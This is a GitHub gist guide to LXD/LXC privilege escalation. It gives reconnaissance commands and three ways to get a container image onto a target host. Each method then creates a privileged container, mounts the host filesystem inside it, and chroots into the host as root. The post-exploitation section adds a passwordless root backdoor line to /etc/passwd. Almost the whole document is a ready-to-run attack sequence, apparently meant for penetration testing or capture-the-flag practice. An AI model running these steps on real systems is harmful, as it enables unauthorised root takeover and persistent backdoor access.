Skip to content

Instantly share code, notes, and snippets.

@strikoder
Created December 30, 2025 18:22
Show Gist options
  • Select an option

  • Save strikoder/5081ef61d8d3dfb1b2cf154cddd1ee69 to your computer and use it in GitHub Desktop.

Select an option

Save strikoder/5081ef61d8d3dfb1b2cf154cddd1ee69 to your computer and use it in GitHub Desktop.
LXD/LXC privilege escalation guide covering reconnaissance, 3 exploitation methods (existing images, distrobuilder, alpine-builder), and post-exploitation techniques for gaining root access.

LXC/LXD Privilege Escalation

Overview

Members of the lxd or lxc group can escalate privileges to root by abusing container functionality. Privileged containers (security.privileged=true) interact with the host filesystem as root, allowing full system access when the host root is mounted inside the container.

Reconnaissance

Before exploiting, check if container images already exist on the target system:

# Look for 'lxd' or 'lxc' in the output
id 

# Quick check in root directory
ls / | grep -iE 'image|container|tar'

# Deep scan for compressed images
find / -iname '*.tar*' 2>/dev/null

Look for files like alpine.tar.gz, ubuntu-template.tar.xz, etc.


Exploitation Methods

Method 1: Using Existing Image on Target

If you found an existing container image (e.g., ubuntu-template.tar.xz):

# Import the existing image
lxc image import [ubuntu-template.tar.xz] --alias ubuntutemp

# Verify import
lxc image list

# Create privileged container
lxc init ubuntutemp privesc -c security.privileged=true #if errors, use: lxd init

# Mount host filesystem
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true

# Start and access container
lxc start privesc
lxc exec privesc /bin/bash  # or /bin/sh if bash unavailable

# Navigate to host root
cd /mnt/root/root && id
---
# Become real root on the host
chroot /mnt/root /bin/bash    
# another way
echo 'root::0:0:root:/root:/bin/bash' >> /mnt/root/etc/passwd 

Method 2: Build Alpine Image

On your attacking machine, install distrobuilder:

sudo su

# Install requirements
sudo apt update
sudo apt install -y git golang-go debootstrap rsync gpg squashfs-tools

# Clone and build distrobuilder
git clone https://github.com/lxc/distrobuilder
cd distrobuilder
make

# Prepare Alpine build directory
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml

# Build the container image (if errored, check release version)
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18 

Transfer files to target, then import on the target machine:

# Import image (must be done from user's HOME directory)
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine

# Verify import
lxc image list

# Create privileged container
lxc init alpine privesc -c security.privileged=true #if errors, use: lxd init

# Mount host filesystem
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true

# Start and access
lxc start privesc
lxc exec privesc /bin/sh
cd /mnt/root  # Host filesystem mounted here

Method 3: LXD Alpine Builder

Using the automated Alpine builder:

# Build Alpine image
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a i686

# Import (must be from HOME directory)
lxc image import ./alpine*.tar.gz --alias myimage

# Initialize LXD storage if needed
lxd init

# Create and configure container
lxc init myimage mycontainer -c security.privileged=true #if errors, use: lxd init
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true

# Start and access
lxc start mycontainer
lxc exec mycontainer /bin/sh

Post-Exploitation

Once inside the privileged container:

Access Host Root

cd /mnt/root/root
id  # Verify you're root

Chroot to Host System

chroot /mnt/root /bin/bash

Add Backdoor User (Persistent Access)

echo 'root::0:0:root:/root:/bin/bash' >> /mnt/root/etc/passwd
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment